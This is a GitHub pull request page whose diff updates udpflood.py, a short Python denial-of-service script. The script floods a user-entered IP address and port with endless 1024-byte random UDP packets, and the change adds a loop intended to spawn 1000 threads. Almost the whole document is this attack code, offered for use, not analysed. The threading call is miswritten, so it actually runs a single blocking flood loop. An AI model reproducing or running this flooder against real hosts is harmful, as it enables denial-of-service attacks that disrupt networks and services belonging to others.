Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Update udpflood.py #1

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
31 changes: 20 additions & 11 deletions udpflood.py
Original file line number Diff line number Diff line change
@@ -1,14 +1,23 @@
import socket
import random
print "##################################"
print "# Envio paquetes UDP inundacion #"
print "# (c) hackingyseguridad.com 2017 #"
print "# Ctrol+C para interrumpir envio #"
print "##################################"
import threading

print ("##################################")
print ("# Envio paquetes UDP inundacion #")
print ("# (c) hackingyseguridad.com 2017 #")
print ("# Ctrol+C para interrumpir envio #")
print ("##################################")
print ("### Forked by Yariya 2020 ###")
sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
bytes=random._urandom(1024)
ip=raw_input('IP_Destino_Target: ')
port=input('Puerto: ')
while 1:
sock.sendto(bytes,(ip,port))
sent=sent+1

ip=input('IP: ')
port=input('Port: ')


def attack():
packet = random._urandom(1024)
while 1:
sock.sendto(packet, (ip, int(port)))

for x in range(1,1000):
threading.Thread(target=attack()).start()